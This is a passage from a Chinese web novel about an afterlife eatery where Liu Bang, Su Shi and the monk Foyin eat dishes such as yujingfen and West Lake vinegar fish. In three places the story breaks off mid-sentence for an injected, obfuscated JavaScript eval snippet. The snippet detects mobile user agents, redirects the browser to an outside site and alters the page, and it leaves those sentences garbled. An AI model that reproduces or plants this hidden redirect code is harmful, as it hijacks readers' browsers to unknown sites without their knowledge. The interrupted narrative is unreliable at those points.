《[综历史]忘川食肆》 1. Chapter 001 御京粉(一) 所谓「忘川」,乃亡魂渡世之河。 过此忘川,不论王侯将相,或是布衣庶民,过往前尘,皆了结于此,唯有随这日夜不息的忘川之水,过九幽、通地府、了因果,方可奔向灿烂来世。 世人往往是这般以为的。 但这忘川究竟如何模样,是清或浊,世间众说纷纭,一说这河水腥臭难闻、虫蛇满布,淤积着被人忘却姓名的孤魂野鬼,也有人说这河水鸿毛不浮、飞鸟难过,稍有不慎便会坠入无边深渊。 总之,尽是些骇人传闻。 只是此刻在这忘川河畔,懒懒倚在石栏上的刘邦,对此似乎不甚赞同。 “世人总爱以讹传讹。”他嘴里叼着根不知从何处拈来的草茎,微风吹过颤颤悠悠的,摇摇头感叹道,“我瞧这忘川景致,虽不及名川大河,但恬然雅静,倒别有一番风趣。” 刘邦自是喜爱大江大河,汹涌澎湃,一如他平步凌云的过往人生,否则也不会作出“大风起兮云飞扬”这般雄浑慷慨的壮然悲歌。 但这眼前的天光水色晴好潋滟,两岸廊亭宅院沿水而筑,若非潺潺江水明澈无瑕,却有万点璀璨星光蕴藏其中,恍然间他都以为自己回到了故乡的泗水河畔。 作为当年的泗水亭长,对这忘川,他自然也是极喜欢的,不然也不会常常在此驻足良久。 那点点星光,如夏日萤火,便是世人魂魄于忘川中随波逐流,直至落入九幽地府,刘邦对此早已洞悉。若依此来看,世人揣测竟与事实契合,只是有一点小小的谬误,差之毫厘,却谬之千里。 如今的忘川,并不是一条枯冷寂清的河。 如今的忘川,实则是一座繁华热闹的城。 一座盛满泱泱华夏英魂名士的世外之城,超出三界之外,不在五行之中。 待嘴里的草茎连半点汁水也榨不出来了,刘邦才懒懒散散地从河畔边离开,沿着蜿蜒扬长的青石小路,踏着斑驳光影向城内进发。 与四通八达的长安都城不同,忘川城内却是曲径通幽,虽然尚有两条干道贯穿东西与南北,但除此之外皆是狭窄曲折的小径,似乎从任一路口进入都会闯入一方世界。那小巷间随风轻晃的门牌,有的以篆书镌刻,浑厚苍劲,有的则以行书挥洒,飘逸灵动,其上书写的名字在后世皆是如雷贯耳。 只是刘邦来忘川的时日尚短,对这片乐土上的英魂知者寥寥,因此这门牌上的大多名号他并不熟识。他也不甚在意,这世间名载史册的英魂虽多如繁星,但又有几人能白手起家、君临天下,又有何人能三年亡秦、四年灭楚。 唯有沛县刘季。 想到这里,刘邦忽然觉得自己的疲累似乎便是从刘季改名为刘邦开始的,家父有四子一女,依照“伯仲叔季”的顺序,他在家中排行老四,因此便被唤作刘季。直至受命于天,登临帝位,他觉得刘季这名字似乎有些太过随意,才在苦思冥想许久后,将自己的名字改为刘邦。 这邦,是定国安邦的邦,亦是本固邦宁的邦,从那一刻起,江河社稷、苍生福祉,种种重担便沉甸甸地压在他的肩头,让他不得一日安眠。 睁眼便是北方狼烟、南方水患,闭眼便是身侧离心、诸侯乱命,经年累月的明争暗斗,让他被猜忌与怀疑所吞噬,最终沦为冷血无情的野兽。 反而是到了忘川后,卸去满身重担,拂去雨雪风霜的刘邦,才终于寻回了早已遗失的本我。 或许是压抑的本性终于得到释放,刘邦归临忘川之后,整日不是在街头巷尾闲逛度日,便是在酒馆食肆打发时间,仿佛是又回到了沛县那无忧无虑的日子。只可惜,当初那帮与他胡闹的狐朋狗友,如今在忘川却是不见踪迹。 但即便他们身在忘川,怕也是懒得搭理自己吧,刘邦不禁这样自嘲地想。 就算是在藏有世间万千书卷的「万卷楼」,刘邦也与这忘川里的英魂名士截然不同,他的目光一扫而过,跳过后世那些史书典籍,反而是在一偏僻角落挑挑拣拣,最后选了本带涂鸦的小册子。 “这还挺难找啊……笑坛杂记……”万卷楼内的书籍皆以神念书写,念头一转便能通晓其意,因此也不必担心朝代更迭导致的语言不通,刘邦如获至宝一般,边津津有味地翻看着,边向着下一站走去。 他的下一站,是在幽深巷弄里的一间食肆。 “「忘川食肆」。” 刘邦抬头望着那间店门上的牌匾,他虽出身布衣、不通书法,倒也能看出其中不凡来。这匾额上的字体不知何人所作,柔韧温婉,如红莲映水,笔到之处却入木三分,倒也算自成一派。 而这店名更是直白了当,既然身在忘川,那么这间食肆便被命名忘川食肆,倒也合乎情理。只是若往后忘川如长安那般,酒楼招摇,食肆林立,这样的店名就未免太过于流俗。 但现在,忘川仅有这一间食肆,倒显出它的独特来。 这间坐落于忘川的食肆,比起未央宫的琼楼玉宇、雕梁画栋,不免显得有几分拘谨与朴素,除刘邦所见的匾额外,便只在门廊上缀着一排纱纸灯笼,门口也不见石狮坐镇,就如邻家院落般让人亲近。 但一旦踏入其间,依这位汉朝开国皇帝的眼界,饶是他攻破咸阳城时曾在阿房宫内见识过世间极等奢华,也不禁叹为观止。 这店里的每一间器具似乎都大有来头,就连每一张桌椅都流光溢彩,正是由上好的金丝楠木制成的。而墙壁上的字画,既有花鸟鱼虫,也有山水风光,各得妙趣,浑成天然,更不知出自哪些名门大家。就连柜台边上悬挂着的以便点供的食牌,也皆是由寸木寸金的阴沉木制成。 但话又说回来,此地是忘川,或许人世间的珍宝,于此地也不过尔尔,更谈不上价值千金。刘邦这样猜想着,不过每次到店里时,他仍然忍不住盘算将这面前的桌椅板凳打包能换成多少枚麟趾金。 虽说忘川里的英魂在后世皆是大名鼎鼎,但这间食肆的掌柜名号既不见经传,亦不见史册,身处食肆却能洞察三界之事,究竟是何身份,大抵是来往于此的客人心中的一大谜团。只是当客人问起时,那位掌柜只是轻轻一笑,并不言语。 本着多一事不如少一事的态度,刘邦倒没有一探究竟的兴致,他捧着手上的书卷,一屁股坐在凳子上,嘴里喊道,“掌柜的,今儿有什么吃食?” 不多时,从后院缓步出现一道人影,那是位瞧着年纪不过十七八岁的少女,穿着件颜色素净的月白色绵裙,容颜稍显稚嫩,但目光极其清澈,宛若晨曦微露时分的露珠,不曾沾染世间的烟尘与世俗。 但在那近乎神圣的宁静之下,又隐约流淌着一抹深沉,那是仿佛历经红尘百态后沉淀下的淡然从容。这两种气质在她身上奇妙地交织融合,不显丝毫的突兀违和,仿若是雨后青山,既清新脱俗,又沉稳厚重,仿佛能透过这双眼睛,窥见世间万物的本质。 ——就像是一面镜子一样。 刘邦这样暗暗想着,他在权谋博弈中久经战阵,行事间总带着几分不可测的深邃与算计,但在那抹空山新雨后的水色面前,却像是不曾设防,仿佛前生今世都尽被她收入眼底。 “高祖陛下,今儿倒是来得挺早。” 唐棠缓步走来,颇感意外地说着,往常这位可是不到日落黄昏不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960040|161023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见人影,如今才刚过饭点便到了店里,实在稀奇得很。 “别喊什么陛下不陛下的。”刘邦掏了掏耳朵,有点儿促狭地说着,“这忘川有那位始皇帝在,你唤我陛下,莫不是在折煞我。” 皇帝贵为九五至尊,寻常人家终其一生难得一见,但不巧的是,在忘川这方寸之地却算不得稀奇,就连那位并吞八荒一统九州的始皇帝,前两天刘邦遛弯儿的时候都还曾看见呢。 “若是连开创大汉基业的高祖陛下都不够格,那这忘川确实是没几位陛下了。”刘邦向来不摆架子,说话也是百无禁忌,唐棠也就跟着他开玩笑,她向刘邦推销道,“今日店里有「御京粉」,陛下可想尝尝?” 居住于忘川之地的英魂,只需天地灵蕴与世间信仰便可凝魂聚神,并不存在口舌之欲的说法,也不像凡人那般需一日三餐。之所以会来此用膳,无非是因为这位瞧着温婉可人的掌柜,实则厨艺早已出神入化,哪怕把未央宫里的尚食局一块打包过来,只怕也是难以争锋。 更何况,这食肆里的食材也皆为灵物,所烹制而成的佳肴灵气十足,对神念也是大有裨益,倒也难怪除了藏书万卷的万卷楼以及兵戈操练的金戈馆以外,便是此地最能云集名士。 “御京粉?”刘邦总算是把手上的书册放下,咂摸了两下,饶有兴致地说道,“这名字听着倒是贵气,不知道味道究竟如何,那今日便尝尝这个吧。” 这看似小小的一间食肆,却总能端出许多闻所未闻、见所未见的美味珍馐,刘邦光是听到这名字,便已觉得不虚此行了。 “那还请稍等片刻。”唐棠稍一颔首,便往后厨去了。 所谓御京粉,听着倒是高不可攀,但若是唤出另外一个名字——岐山擀面皮,似乎就从云巅上落了下来,变得接地气多了。 但不论如何称呼,这道佳肴可是实打实的御膳,是曾经仅有帝王才能享受的美食,被称为“西岐一绝”,手艺十分讲究不说,工序也是极为繁复。 唐棠所用的面粉,自然是瓷白细磨的好面,水则是清凉甘冽的井水,在揉成雪白莹润的面团后,还须在瓷盆里反复淘洗,让白腻的面浆如水银泻地般自面团中溢出,直至仅剩棉絮般的面筋为止。 那面浆得洗到里面半点面筋也寻不出来,连个小面疙瘩都摸不到的地步,单是这盘软揉光的劲儿,便已十分劳神,更别提面浆还须发酵些时辰。若是岐山那些专门卖擀面皮的夫妻小店,头天夜里就得把面浆发上,早晨天还没亮就得起来收拾。 而蒸面皮的过程,则是与制宣纸有几分相似,诀窍无非一个慢字,把沉淀后的面浆小心在蒸屉里抹平,旺火蒸熟后再抹上一层菜油,一张张明光透亮的面皮子就应运而生。 虽说烹制的过程稍显复杂,但蒸好面皮后便能随切随吃,倒也方便。就比如此时此刻,唐棠一回到后厨,就在砧板上铺开一整张蒸好的面皮,上下轻轻一叠,再快刀斩乱麻般密密地切过去,随着刀锋上下起落,便痛痛快快地切作了条条透亮的晶莹玉带。 那面皮子固然美味,但剩下的面筋也丝毫不能浪费,唐棠也早已蒸进锅里,一并切作细条。她随手把这面皮子抄到碗里,手上眼花缭乱地拌上少许面筋,往里浇上早已制好的盐水、香醋跟秘制料汁,再舀上几勺油泼辣子,翻搅几下便端了出去,一气呵成的速度,倒像是位在岐山卖了多年擀面皮的行家似的。 “也不知道这高祖陛下能不能吃辣?”端出去的过程中,唐棠这样暗想着,虽说汉朝时期,坊间就已经用茱萸、芥末增添少许辛辣口感,但比起后世的辣椒总归还是大不相同,她不禁有些担心。 2. Chapter 002 御京粉(二) 不过事实证明,唐棠的担心是完全多余的。 “我还以为是什么呢?这不就是冷淘嘛!”见唐棠端着瓷碗过来,刘邦将手上的书册丢到一旁,哑然失笑道,所谓冷淘便是最早的过水面,汉唐时期便已有之,“不过这颜色当真是好看。” 的确,就如刘邦所言,这擀面皮用的是薄皮宽切的手法,颜色因发酵的缘故化作羊脂玉般润泽的乳黄色,在光照下薄而透亮,显出极佳的通透感,而且盛放在这白瓷盘里更是相得益彰,比起此前有诸侯献上的昆山宝玉也不遑多让。 刘邦的手指爱不释手地轻轻摩挲着瓷盘的釉面,受制于技艺局限,汉代的陶瓷在泥料选择、胚泥捏炼等方面都有所限制,器型往往不太规整不说,而且釉色泛青泛黄,釉面也是薄厚不均,哪有他眼前这白瓷盘这般胎质细腻、釉色洁白。 “果真是神仙之地。”刘邦边这样感叹着,边拿起筷子在碗里豪迈地拌了起来。 筷子稍稍一翻,便显露出底下的嫩豆芽、黄瓜丝,登时便有了青葱郁意,而再与那油泼辣子、调料汁拌在一起,这面皮的醇厚米香便与那热烈辣香交织在一起,绵中带辣的香气直挺挺地往鼻子里窜,刹那间如雷电般贯穿神经,像极了老陕人的耿介直爽。 吃这御京粉,自然得从这面皮吃起,刘邦也算是个老饕,知道得把佐料混匀了才好吃。他翻搅几下,待这面皮满满裹上辣油,直到变得油红晶亮才心满意足,瞧那白里透着红,红里透着香的劲儿,他直接夹了一大筷子送进嘴里,随后睁大了双目,精神一振,连那股惫懒劲儿都消去了不少。 “嗯……不错,不错……” 刘邦眯着眼睛,这第一口进到嘴里,他对这间食肆的评价就又上了一个等次,不论器具如何精美,装潢如何精致,食肆总归是要佳肴美味,才称得上够格。 单论这一点,这间食肆,从来没有辜负过任何人的期待。 这模样别致的冷淘,倒是比前世他所品尝到的要软韧得多,嚼劲是需要费点劲儿又不需吃力的地步,他刚想与这负隅顽抗的面皮做些斗争,没想到这面皮倒也识趣,大兵未至便缴械投降,唇齿之间只余下浓郁的麦香。 这样的面皮,入口细腻润滑、柔韧劲道,光是单吃就很好吃,更何况还配上这红亮香辣的油泼辣子,更是锦上添花。 “这辣椒果然名不虚传,的确是香极了。”刘邦连连点头,“哪怕配上米饭我都能连干三大碗。” “是吧?”见高祖陛下赞不绝口,唐棠也不禁莞尔一笑,“这可是如今关中地区最时兴的吃法,许多人清早起来就得吃上一碗呢。” “如今的百姓,能将如此美味当作朝食?”刘邦闻言一怔,以探寻的目光望向唐棠,见少女轻轻点头,才长吸一口气,感叹道,“我虽知当今天下物阜民丰,却不曾想能到这种地步。” 若是放在汉朝,这可是连贵为九五至尊的汉高祖都品味不到的美味佳肴。 刘邦身处忘川,看似整日浪迹江湖不问世事,实则忧心世间不曾有一日懈怠。他初到忘川便已粗略读过一遍二十四史,对汉十二年,也即是他辞世后的过往隐约知晓有个大概,也明白秦汉不存于世已两千年。虽然前朝霸业尽付空谈,他只觉得自夏朝伊始,王朝兴衰交替便是寻常事,也不曾伤春悲秋,只抱着潇洒一日是一日的态度,在这忘川肆意撒欢。 偏偏却有些忘川名士整日将这汉唐明清攀来比去,非要比出个等次高低,直让刘邦觉得好笑。这些人,可曾知晓如今这世间有飞辇上天入地日行万里,有法宝足不出户可知天下事,与其埋首故纸堆中沉溺过往,不如多睁眼看看这当下人间。 因此,刘邦虽也爱去万卷楼,却与旁人不大一样,甚少借阅史书典籍,他最爱的是小说杂记之流,以此通晓世间风物。就比如这辣椒,他便知道这是约四百年前传入华夏,以此取代茱萸、山葵成了「辛香」的代名词,而今早已传入千家万户。 只是知晓归知晓,光凭空想象却很难体味这辣椒的妙处,而今品尝到这御京粉,刘邦才终于明白为何世人爱之若狂。 “这辣椒的品种也有许多。”唐棠笑着解释道,“像这油泼辣子,就是香而不辣的,若是高祖陛下想尝尝更辣的,下次做水煮鱼的时候可要上门来瞧瞧。” “一定一定。”刘邦不假思索地答应道。 这油泼辣子可不是那种会辣到人满脸通红的二荆条,而是专门挑选的那种颜色红润红亮的细辣椒,取其香而非取其味。炒干后碾成鲜红的辣椒面,再以大火烧沸一锅上好的清油,里边添上香叶、八角、草果、花椒等香辛料,裹挟着油香味一同涌入那辣子面里,立时如烈火烹油般噼里啪啦飞溅起来,待稍稍平息一些再以两勺香醋作为收尾,这一道油泼辣子才算得上是功德圆满。 那面皮子用的是洗去面筋后的面浆,但那面筋却也没被冷落,蒸熟后也添了些在这擀面皮里面,蜂窝般多孔的劲道质感,比起面皮更是吸饱了调料汁水,滋味十足,就如同画卷中最为浓墨重彩的点睛之笔,许多食客尤爱这一味。 而这清脆可口的胡瓜丝与嫩豆芽在这里也是再合适不过,即便裹上油泼辣子也难掩其清鲜清爽,觉得有些油腻的时候嚼上一口,那脆生生的口感与迸发出来的汁液立即再度唤醒味蕾,让人只想再来一口。 刘邦本想吃上两口尝尝再点评两句,谁知这一入口,先感受这擀面皮的滑溜软韧,再品味这油泼辣子的火辣直爽,再仔细咀嚼这筋道十足的面筋,以及那清新爽口的配菜,硬是一股脑吃了个干干净净,碗底连汤汁儿都没剩下几滴。 大约是吃得心满意足了,只见他优哉游哉地半阖着眼,懒懒散散地靠在墙上,这腰带不知何时被他随手解开了,衣襟也随意敞开着,硬是将这一身锦绣华服穿出来了一种桀骜不羁的痞气。 “美美睡上一觉,再到这里来用上一餐,可真是舒坦啊……”刘邦伸了个长长的懒腰,活似一只晒足了太阳的猫。 “接下来,是去金戈馆看看热闹,还是回万卷楼再寻个话本瞧瞧呢?或者说,去看看我家曾孙?” 付过了账,刘邦刚刚出门,正想着下一站去哪里虚度人生,却忽然发现天色蓦然变得晦暗,他忙抬头探望,才惊觉远方竟有颗暗红色的陨星,拖曳着燃烧般的灿光划破湛蓝天幕,向这忘川福地坠落。 “那是什么东西?”刘邦仰头讶然道,有些不敢相信自己的眼睛,“这忘川也有陨星?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960041|161023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 刘邦此前读过后世所谓百科全书,知晓这陨星本质不过天外碎星残片,与世间祸福动乱全然无关,虽说他对此结论将信将疑,但也姑且记在脑子里。 但这忘川福地本不在三界之中,寰宇苍穹中不见群星,仅有日月轮转,又何来陨星一说? “这帮家伙,可真是阴魂不散呢。”唐棠不知何时已悄然站在他身后,与他并肩仰望那天际滑落的陨星,言辞间透着一股见惯不惊的淡然,她对着刘邦嫣然一笑,说道,“不过,高祖陛下也不必忧心,只是些域外的一点小麻烦而已,无足挂齿。” 所谓域外,自然是忘川以外的魂灵居所,譬如位于欧洲的英灵殿,东瀛深处的高天原。然而,各魂域之间,犹如凡尘国界一般,自有不可轻易逾越的隔阂。倘若有人擅自闯入,不告而至,便会在天空生出诸多异象。 但唐棠对这丝毫不以为意,她的抱怨里,藏着几分不经意间的懒散,仿佛是说起夏日午后的一场骤雨,需要关窗避雨那般稀松平常。 “忘川竟有外患?”听闻此言,刘邦心中泛起一圈圈涟漪,他踏足忘川的时日虽说不长,却从未听人提起忘川竟有烽火连天的时候,“来自何处?” “四面八方,无所不在。”唐棠的话语轻轻落下,又添上了一句,反而让刘邦心中的困惑如野草般疯长,“此事有些复杂,三言两语难以说清,等陛下在忘川时日长了,今后自然就知道了。” 她却是以一个谜团,用来解答另一个谜团。 刘邦初至忘川,原以为此地便是那传说中无忧无虑、不忧饥馑的神仙福地,他大可在此悠享清闲。然而此刻,他却忽然察觉,此间情形,似乎远非他心中所想的那般简单纯粹。 细细想来,这世间哪有什么岁月静好,不过是有人负重前行罢了。 “我还以为,这忘川是超脱尘世纷扰的世外桃源,实在没想到……”见唐棠无意细说,刘邦只得将满腹疑云暂且按下,“那域外之敌,又该如何抵御?” “今日的话,交给那位就是了。”唐棠朝着那边努了努嘴,言语间带着几分慵懒。 “那位?那位是哪位啊?”刘邦一头雾水,刚回过头来追问,却发现那位掌柜已转身步入店内,忙着收拾碗筷去了。 显然,唐棠所言非虚,此情此景,在忘川不过是稀疏平常,以至于她压根儿没把这放在心上。 耳边隐隐有破空声传来,刘邦再次抬头望去,只见忘川城内一道绚烂虹光横跨天际,犹如神迹降临。 那是一道他无论前世今生,都铭记于心的身影。 骏马如龙,奔腾不息,拖曳着战车划破长空,以不可阻挡之势,向着陨星直捣黄龙。 立于战车之上的君王,战袍猎猎,手执缰绳,英姿飒爽,威风八面。 尽管刘邦对唐棠口中的域外英灵仍感困惑,对如何抵御外敌也是两眼一抹黑,但当他望见那熟悉的身影时,一切疑虑瞬间烟消云散。 因为,那正是曾俯治四海、剑指八荒的千古一帝——嬴政。 “大丈夫,当如是也。” 刘邦的身影,不知何时消失在了小路尽头,只留下这一声意味深长的喟叹,回荡在忘川的风中。 3. Chapter 003 西湖醋鱼(一) 所谓「苏堤」,因苏轼任杭州刺史时修筑而得名。堤岸南起南屏山麓,北至栖霞岭下,通贯西湖南北两侧,其间有映波、锁澜等六桥交错,夹植桃柳,烟波荡漾。此地春色最为迷人,即便是在步步胜景的西子湖畔,“苏堤春晓”亦被誉为西湖十景之首。 正是人间三月,西子湖畔春意渐显,待再过些时日,便能见到三步一桃、五步一柳的盛景。如今苏堤的柳树却才刚刚萌发出嫩黄的新芽,朦朦胧胧如垂下的帘栊,一些急性子的桃花倒是已三三两两开在枝头,而远方景色则在迷蒙水气中笼上了一层轻雾薄纱。 此情此景,虽不如桃红柳绿般浓烈明丽,但虚中有实、白而不空,正合水墨画清雅淡然的意蕴,若是让忘川里的画师名家来此泛舟湖上,说不得世上又会多上几幅传世之作。只可惜此地人迹罕至,而此刻行走于此间的少女,兴许是世间美景都已司空见惯,对眼前景色兴致缺缺,倒是盯着挨着柳叶的尖尖嫩芽动起了心思。 “太可惜了,我都忘了现在柳芽长得正好,这会回去也来不及了。” 唐棠微微叹了口气,这柳芽风味极佳,若是焯水后再在凉水里浸上一夜便能褪去苦涩,不论泡茶或是凉拌都是极好的,或者用来烙菜饼蒸包子也行,那鲜嫩清新的柳芽入到嘴里,仿佛一口吞下了整个春日。 只是今天她还赶着回去营业,也没时间挎个袋子来捋柳芽,只得作罢。 唐棠提着竹篓,缓步走在堤岸上,嫩绿的浅草也随风轻轻摇曳着,而她此行的目的,便是她处于西湖的鱼池。 后世的西湖游人如织,连带着周边地方都是寸土寸金,能专门圈出一块水域当作自家鱼池,那无异于是痴人说梦。但对于身在忘川的唐棠而言,这并非难事。 “这鱼的劲儿还不小。”站在岸边的唐棠向湖中间围起的鱼池张望着,那些被她置于池内的鱼儿自然是不甘心做阶下囚,横亘的藤网上遍布着细密的咬痕,只可惜都是徒劳无功,“饿了两天,竟然还这么有力气。” 她今天准备做的,是「西湖醋鱼」,这是忘川那位鼎鼎有名的东坡居士,点名想品尝的一道菜。 这位学贯儒释道三家,诗词书画登峰造极的苏子瞻,平日里对旁人称赞的坡仙不屑一顾,却常常自诩为饕餮之徒,甚至还专门写了篇《老饕赋》。依他的话来说,这忘川英魂名士不知几许,若比较文才确实难分高下,但论起厨艺来,这榜首的位置他定是当仁不让。 这话倒是不假,比起这位遍历三江四海,每到一地便能新创佳肴,甚至东坡肉、东坡肘子等时至今日仍在后世传扬的东坡居士,其他的文人墨客倒是能吃也会吃,但亲身下过庖厨的恐怕都不多,更别提在厨艺一道有所建树了。 这苏东坡到了忘川,旁人都沉湎于后世的史书诗词,他却惊叹于后世的食材之阜盛,手段之绝妙,常常在自家小院里天马行空地尝试各类食谱,呼朋邀友一同品尝,与开了这间忘川食肆的唐棠,更是深感同道中人,与其格外亲近。 面对这位精于厨道的老饕故友,唐棠可不敢有丝毫怠慢,从一开始食材的精挑细选,整道料理的烹饪过程便已经开始了。 既然要做西湖醋鱼,那最为正宗的做法自然是取西湖的草鱼,只是草鱼价廉刺多不说,土腥气还重,因此就要在做醋鱼前将其圈养在鱼池里,一两天内不喂任何鱼食,这便是所谓饿养。饿养两日后,草鱼腹内杂物排空,土腥气也随之消退,鱼肉质感也更为紧实。 唐棠目光投向水面,细细打量片刻,再伸手一握,两尾刚刚还在鱼池里百无聊赖转着圈的草鱼,忽然便出现在了她的手里。那两只胖头鱼突遭变故,还不知发生了什么,连尾巴都还没来得及摆动,便被唐棠塞到了鱼篓里,而漫天的鱼食也重新洒入鱼池,引得鱼儿们踊跃争抢。 “牺牲你俩,幸福大家。”唐棠轻轻晃了晃鱼篓,感受着里面反应过来挣扎蹦跳的鱼儿,满意地点点头,这饿养也需有个度,若是饿得这鱼都没劲了,那鱼肉自然也就不够鲜活了。 既然主菜已经请到,那也就到了该回去的时候,唐棠意念微转,湖畔柳树轻拂,春风微作,而她的身影则在转瞬间消失无踪。 下一刻,她便出现在了忘川的房间内,这是她位于食肆后院的居室,隐约似乎还能闻见后厨丝丝缕缕的香气。 “得稍稍抓紧时间了,东坡先生他们快到了吧。”唐棠提着竹篓往门外走去,而墙上悬挂的那幅画,则在刹那光华后重新变得稍显黯淡。 那是一幅西湖风光图,墨色洗炼,工笔写意,明净湖水周边是群山环绕,宝塔、长堤、水榭、湖舍皆隐现于晨霭晓雾,只可惜画卷残缺,只余片段。 再细看这画卷材质,非纸非绢,光滑如玉,倒像是在镜面上绘制而成。若是有仙人至此,自然能识出这是某种空间法器的碎片,而且神通非凡,哪怕碎裂如此,这小小的裂片也能承载整个世界。 这也难怪唐棠刚刚所处的西湖人迹罕至,因为那本就不是西湖实景,只是承载其中的一方小世界而已。不过若是让人知晓如此珍稀的空间法器,竟被用来当作鱼塘养鱼,怕不是会感叹一句暴殄天物。 但再细看这面墙壁,那大大小小的碎镜星云密布,一时竟辨不清数目,也难怪她对此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960042|161023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不甚在意。 唐棠刚回后厨,正准备开始料理草鱼,便听到大堂内有熟悉的人声传来,她擦了擦手,决定还是先去招呼客人。 果不其然,映入她眼帘的是一儒一僧,书生身着青色长衫,风姿清雅,说不出的从容淡定,仿佛不论顺境逆境都能行事由心。而他旁边的僧人则袈裟敞开,自在悠然,恰似大肚能容天下事的弥勒佛,正是苏轼与他的损友佛印。 “抱歉,又来唐棠姑娘这里叨扰了。”见到从后厨过来的唐棠,苏轼清声打着招呼。 “你这说的什么话。”还没待唐棠开口,佛印撇嘴说道,“人家开的是食肆,你这天天来,人家高兴还来不及呢,是吧?” “是是是。”唐棠笑着点头,佛印总爱跟苏轼唱反调,俩人在食肆里斗嘴也是常有的趣事,“东坡先生现在就想尝尝西湖醋鱼吗?这鱼刚从池子里捞出来,正新鲜着呢。” “倒也不是太心急,不如……”苏轼微笑说道,刚想说先来两样小菜垫垫底,却被佛印揭穿了老底,“掌柜的!你别看他在这故作矜持,他这一路上念叨这西湖醋鱼好多遍了,听得贫僧耳朵都快起茧子了,您就行行好,快把这鱼端出来吧!” “咳咳!”苏轼在这里假装咳嗽,也没法打断佛印的吐槽,只好尴尬说道,“我只是好奇,这鱼既然以西湖为名,也被当作杭帮菜的典范,怎么会恶评如潮呢?” 不论是草原上的烤羊、酥酪,中原的面点、油炸,又或者是江南出产的鱼蚌、虾贝,都能在杭城找到踪迹。天下酒宴之盛,未有如杭城也,这便是苏轼当年对杭州美食的盛赞。 此地后世也是文人如鲫、名流云集,按理来说美味佳肴应当数不胜数。偏偏苏轼前些日子翻阅后世杂记,却见往来游人对杭城美食颇多毁誉,甚至称其为美食荒漠,尤其以西湖醋鱼受到非议最多,这让他百思不得其解。 因此,苏轼便专程到忘川食肆,请唐棠做一道西湖醋鱼让他瞧个究竟。 “贫僧也纳闷,这鱼究竟要做到如何难吃,才能令人感叹像是糊了一嘴的湖泥。”佛印也忍不住笑道,“甚至还有人说,这醋鱼又腥又酸,一口下去像是在跟泡在醋坛子里的千年老鱼精接吻,这比喻实在有趣得很,倒是让人好奇这究竟是什么滋味了。” “那还请两位稍等片刻,我这就去后厨。”唐棠眉眼弯弯,也忍不住开玩笑道,“不过,我可没有自信能做得那么难吃。” 自古江南被称作鱼米之乡,鱼尚在稻米之前,而去江南人家赴宴,必是无鱼不成宴,宾客们见不到这最后压轴登场的鱼菜,这一方江南食事便算不得圆满。 4. Chapter 004 西湖醋鱼(二) 阳春三月,椿芽发、春笋出,也正是鱼儿最为肥美的季节,而唐棠所选的草鱼,恰好是一年生的童子草鱼,重量在一斤半左右,即便是饿养过两日,也难掩这鱼儿的丰腴体态。 重回后厨里的唐棠轻车熟路地开始料理草鱼,这刀工可全是真功夫,首先是开门见山的一刀,将这草鱼连头带尾开作雌雄两片,雄片连着脊骨,而雌片尽显肉感。 接下来则是迅如雷电的七刀半,鱼皮朝下,鱼肉向上,只见唐棠手中锋锐的刀刃一晃而过,鱼肉带骨打出刀花,而鱼皮却丝毫没有被划破,如此方可保证待会儿浇汁后鱼肉入味。 而剩余的半刀,则是去除咽齿上的鱼牙,许多人都知道处理鱼时要去除脏器、鱼鳃以及鱼腹内的黑膜,却往往忘记切去鱼牙,以至于熬出来的鱼汤不论如何加料都去不掉那似有若无的腥味。 西湖醋鱼与诸多流传已久的名鱼相比,极其特别的地方就在于整道菜用不上一滴油,用的是水汆法,也就是在滚水中迅速烫熟,如此鱼肉的肉质才会紧实又鲜嫩。 唐棠再将此前调制好的糖醋芡汁浇在鱼身上,最后撒上少许姜末作为收尾,这样一道臻于极致的西湖醋鱼,便摆在了苏轼与佛印的面前。 “这这这……”佛印拿着筷子指着鱼肉,“这西湖醋鱼看上去一点都不像不好吃的样子嘛!” “的确。”苏轼也赞同地点点头,“这般红亮色泽,倒是与东坡肉有几分相似。” 就如佛印所说的那样,他们面前的这盘西湖醋鱼呈现出清爽鲜亮的明丽色泽,那是糖醋芡汁勾勒而成,却并不像松鼠鳜鱼那般有着过厚的浓稠感,衬得鱼肉口感分外软嫩。 “这芡汁倒真是下了一番工夫。”苏轼没有急着品尝鱼肉,先是以筷子沾了一点芡汁在嘴里尝了尝,随即点了点头,“这糖跟醋的比例相当讲究,厚薄很是恰当,酸甜也极为得当,因此颜色才会这般清亮,掌柜的厨艺果然还是这般精湛。” “东坡先生谬赞了。”能得到这位忘川老饕的一句夸赞那可是殊为不易,听得唐棠眉开眼笑,“还是快尝尝这鱼吧,这得趁热吃才好吃呢。” 